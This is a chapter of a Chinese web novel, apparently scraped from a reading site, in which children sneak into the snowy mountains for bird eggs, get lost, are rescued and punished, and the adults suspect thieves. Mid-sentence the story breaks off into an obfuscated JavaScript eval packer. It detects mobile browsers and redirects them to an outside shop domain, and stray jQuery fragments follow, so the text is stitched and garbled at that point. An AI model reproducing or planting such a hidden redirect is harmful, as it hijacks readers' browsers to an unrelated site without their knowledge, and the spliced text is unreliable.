算了算天数,离过年还有不到一个月的时间。
这阵子,柳含茵和外婆就没闲着,提前将过年需要准备的饼和团子都做出来,冻在院子里。剩下的就是要准备过年吃的肉和丸子。
院子里就是天然的冰箱,炖好的肉和丸子,放在水缸里,一层层码好,盖上盖子,想吃的时候,拿出来放在锅上热一热,就是一顿大餐。
自从开始准备粮食,破庙的门一到晚上就关的更严了。
尤其开始做了荤菜以后,每天晚上沈守拙都得将水缸周围放上点稻草,以作掩护。
“娘,这是干啥啊,难道还有人来偷啊?”
山月觉得不能理解。
“唉,有的人穷急了眼,就容易走下道。”柳含茵叹了口气,“咱们村,丢东西的可不少。”
说起这个,外婆像是想起了什么,嘱咐几个孩子。
“最近没啥事,别往外跑了,我听村上人说,隔壁村来了拐子,都丢了两个小丫头了。”
“啊!”难得陆骁发出一声感叹。
自从跟柳含茵学识字,陆骁差不多天天就长在了沈家,虽说前后院住着,有时候玩的难舍难分了,干脆就住在了这里。
刚刚听外婆说起拐子,陆骁下意识的就看了看山月。
“月儿,你可不能再去送菜了,就是真下山,也不能就你跟海棠俩人,我得跟着。”
不知道是不是受了山月的传染,陆骁挺好一个高冷小孩,渐渐有了往话唠转型的可能。
“我倒是想下山,你看我娘能让啊。”
这阵子,不知这老天抽了什么风,大雪一场连着一场,最大的一次,山月出门,雪竟然没过膝盖,自那以后,山月就没出过屋,送菜的事,全是陆猎户代劳了。
几个孩子最初那几天在家里玩的挺好,时间久了,就憋出犄角来了。
“娘,我们不远走,就在庙后面玩一会就回来。”
数不清这是山月第几次拉着柳含茵的袖子撒娇了,被晃的无奈的柳含茵实在没办法,只能同意。
“不能远走,今年山里雪大,好多野兽找不到吃的都下了山。”
柳含茵还是不放心,又叮嘱陆骁。
“陆骁,你有经验,看住他们几个,要是看见有脚印不对劲,就赶紧回来,听见了没?”
陆骁紧着点头,“婶儿,你就放心吧。”
几个孩子见柳含茵松了口,争先恐后的跑出门去。
院子里跑不开,到了后山,几个孩子撒了欢。
打了会雪仗,堆了个雪人,很快又无聊下来。
“陆骁哥,你知道哪能找到鸟蛋不?”
山月突然发问。
“哎,对啊,咱们掏鸟蛋去吧。”沈曜之第一个同意。
柳怀远更是没意见,只有海棠,怯生生的阻止,“月儿,咱们回吧,婶子不让往山里走。”
“没事,海棠姐,有陆骁呢,他会看。”
听见山月这么夸自己,陆骁心里暗暗得意,但是最终还是理智占了上风。
“我倒是知道哪能掏着鸟蛋,离着也不远,可是婶子都说了,不让远走。”
“哎呀,没事的,陆骁哥,咱们就往里走一点点,掏几个鸟蛋,没准回家,娘还能夸咱们一顿呢。”
山月拉着陆骁的袖子,拽了又拽。
“我想想。”陆骁低头思索,又抬起眼皮撇了眼山月,悄悄贴了山月,说道:“我要是带你们去,你以后别喊我陆骁哥了。”
山月不解的问:“那我叫你啥?”
“叫骁哥。”陆骁话一出口,脸就先红了起来。
“骁哥?”山月嘴里重复了一句,“听起来跟小哥似的。”又看了眼沈曜之,“我大哥最大,我二哥比你大几个月,叫你小哥倒是也行。”
山月叨咕了几句,陆骁一脸期待的望着山月,为了几颗鸟蛋,山月豁出去了。
“那行,以后我就叫你小哥。”
陆骁推了山月一下,“叫一声。”
“小哥!”
陆骁露出个心满意足的笑容,大手一挥,在前面开路。
原来上山的路已经被大雪盖住看不见了,隐约有几个脚印,应该就是村民上山捡柴火的,可是这样的天气,能见到柴火的几率实在太低。
陆骁凭着记忆往深处走了半个多时辰,有棵一人多粗的大树,上面有个巨大的鸟窝,陆骁用手指了指,“就是这。”
柳怀远率先试试,抱着树往上爬了几下,就出溜下来了。
紧接着沈曜之又试了试,也没成功。
山月也想上手,被陆骁拽住,只见他使劲搓了搓手,三两下便上了树。
“小哥可真厉害啊。”山月望着在树上畅通无阻的陆骁,由衷的赞叹。
一听山月的声音,陆骁爬的更快了。
趴在树冠上,陆骁冲着下面喊,“真有鸟蛋,有四个呢!”
几个孩子一阵欢呼。
陆骁拿起一个对着下面喊,“接住了!”
柳怀远个子高,伸手接住一个,递给山月,紧接着陆骁又扔下来第二个,第三个......
鸟窝掏空了,陆骁又往下爬了一段,见距离差不多了,才跳了下来。
“要是春天来,鸟蛋可多了。”陆骁见其余几个人都一脸喜色,一副没见过世面的样子。
“月儿,时间不早了,咱们该回了。”
海棠见几个孩子还舍不得走,便催促着。
出来时间是有些久了,几个孩子意犹未尽。
“小哥,明天你还带我们来掏鸟蛋吧。”
“行!”
回家的路上几个孩子叽叽喳喳,兴奋的不得了。
可是很快,大家就发现了一个问题,他们仿佛迷路了。
漫山遍野都是一种颜色,最早发现问题的是陆骁。
有几颗树长得稀奇,一直被他当做路标,可是渐渐他发现,路标消失了。
绕着原路转了两圈之后,孩子们终于意识到出事了。
漫山都是白色,山月眼睛被刺的生疼,这种环境下,看的时间长了,容易雪盲。
于是从口袋里掏出手帕,“嗤”的一声一分为四,拽过柳怀远,系在他眼睛上,紧接着又给沈曜之系上。
“月儿,你这是干啥啊?”
两个哥哥不懂山月在做什么。
“月儿是怕你们让雪伤了眼睛。”陆骁帮山月回答。
“过来。”山月瞅了陆骁一眼,绕到他后面,也给他系列上去。
海棠那里还有手帕,两个女孩子,互相分别给对方系好,几个孩子又开始发愁。
系上手帕,相当于给眼睛围了条丝巾,视线变暗了一些,并不是完全看不见。
陆骁绕着刚刚掏鸟蛋的大树来回转了转,仔细分辨下方向,还是拿不定主意,几个孩子愈发慌乱起来。
就在大家以为自己会冻死在山上的时候,远处一个男人的声音传来,“陆骁!山月!”
“是我师傅!”
陆骁猛的起身,仔细分辨声音传来的方向。
“师傅,我们在这!”陆骁双手做了个喇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566189|204754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叭,大声回应着。
“快,我们一起喊!”山月将几个孩子都叫起来,大家一起用劲力气回应着。
“我们在这!”
很快陆猎户,沈守拙,还有柳含茵找了过来。
三个大人面沉似水,见几个孩子蒙着手帕,完好无损,脸上的阴郁稍稍有些缓解。
几个孩子知道自己闯了祸,大声都不敢出,乖乖跟在大人身后,往回走。
走着走着,陆猎户在一个树桩前停了脚步。
“陆大哥,这像是新砍的。”沈守拙指着树桩问陆猎户。
“嗯,就是新砍的。”
“谁这么大胆,衙门不是派了人在山下守着?”沈守拙觉得此人简直是胆大包天。
“衙门的人一到晚上就走了,这人肯定是趁着天黑上来的。”陆猎户四下打量一番,“不光是他,应该还有几个人,这片好几棵树,都不见了。”
“胆子太大了,他们不怕遇上狼吗?”沈守拙想想陆猎户上次受的伤,都觉得后怕。
陆猎户没再说话,带着众人回了家。
回了破庙,陆猎户扯着陆骁就要进屋,山月看这动作就知道陆猎户动了怒,陆骁铁定要遭殃。
“陆大叔,你别怪陆骁哥,今天的事,是我起的头,他不想去,是我非让他带我去的。”
山月此话一出,陆骁一脸错愕,似是没想过山月会将责任揽过去。
“怪我,是我把他们带过去的,结果还找不到回来的路。”
陆猎户却没时间听他们在这争个谁对谁错,把陆骁往屋里一推,“砰”的一声关上了门。
随即传来什么东西打在身上,闷闷的声音。
但是陆骁一声没吭。
没等山月感慨,就被一只大手拉回了家。
一进屋,外婆先冲了过来,将山月头上的围巾解开,仔细看了看,身上没受伤,这才放下心来。
“你这孩子,要把你娘吓死了。”
“沈山月,进屋来!”柳含茵的声音从里屋传来。
山月察觉事情不好,大凡父母叫了孩子全名,大抵后面都会跟着一顿胖揍。
山月站在门口磨磨蹭蹭,柳含茵却没给她机会,挑了帘子,伸手就把山月拽进屋里,拿着鸡毛掸子,对着屁股一通抽。
“娘,我错了!”
“我再也不敢了!”
“娘,别打了!”
......
活了两世,山月第一次体会到什么叫哭到声音嘶哑。
沈守拙看着自己那躲在一旁抽抽的小闺女,又是心疼又是生气,而自己媳妇也抱着肩膀一脸怒意的守在一旁,沈家几个男人,就这么看着,一声都不敢吭。
再看海棠,手里握着根儿烧火棍,蹲在灶膛前,一边烧火,一边擦眼泪,看起来比挨了一顿打的山月,哭的更甚。
“那啥,茵娘。”沈守拙挠挠头发,“刚才陆大哥把我叫过去,说让咱们晚上睡觉惊醒这点。”
“为啥?”柳含茵被顺利转移了注意力。
“陆大哥说,陆骁这次找不到路,是人为的。”
见柳含茵看向自己这边,沈守拙拉着柳含茵坐在桌子前,趁机对山月摆了摆手,让她赶紧偷偷的溜走。
“他说山上好多树都被砍了,这么看来,已经有人铤而走险了,现在看来,他们第一步是砍树,接下来就有可能偷东西,咱们住的这么偏,村子里他们不好下手,咱们这很有可能就是他们下手的第一选择。”
听了这些,柳含茵担心起来,“这可怎么办?”